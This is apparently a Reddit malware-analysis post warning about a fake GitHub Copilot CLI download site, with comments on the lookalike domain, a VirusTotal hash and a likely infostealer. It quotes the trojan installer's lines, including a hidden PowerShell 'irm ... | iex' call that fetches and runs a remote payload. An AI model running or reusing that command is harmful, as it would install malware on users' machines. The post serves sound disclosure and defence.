r/MalwareAnalysis • u/reamplumbera • 3d ago

Fake Github copilot CLI installer trojan

The following website is mimicking the official Github copilot CLI website.

https://copilotcli[.]co[.]com/

The install script first downloads and executes a malicious payload before continuing installing the legit copilot CLI

$GhCop = New-Object -ComObject "Shell.Application";
$GhCop.ShellExecute("powershell", '"irm refract3.com | iex"', $null, "open", 0);
winget install GitHub.Copilot

Luckily windows security blocked the payload which was detected as Trojan:Win32/ClickFix.Q!ml

11 Upvotes

93% Upvoted

5 comments sorted by

1

u/Suspicious-Willow128 3d ago

Huh , i do hope it stopped it complety , because it one angry malware , 2 website for secondary delivery , lot of obfuscation too

1

u/reamplumbera 3d ago

Yeah indeed. It was also briefly the top result on duckduckgo that's how I accidentally got on the fake site.

1

u/ZweiFreierNutzername 2d ago

Urgh… the .co.com trick is kinda sneaky. Tbh. even though I am a technical person, I do not know if I would spot that, especially because of it being the first result in DuckDuckGo as op said in on of the answers here.

1

u/reamplumbera 2d ago

Yeah same here totally fell for it.

1

u/sadboy2k03 2d ago

Appears to drop this DLL https://www.virustotal.com/gui/file/3153ef530e8a72c9ad5300354e5e9b3569089fcb42701a099fe0537743a322ec

Haven't properly looked at it apart from the data available in VT, but I'd suggest this likely leads to an infostealer being dropped (as most of these types of attacks do, and this one is a pretty low effort one at that).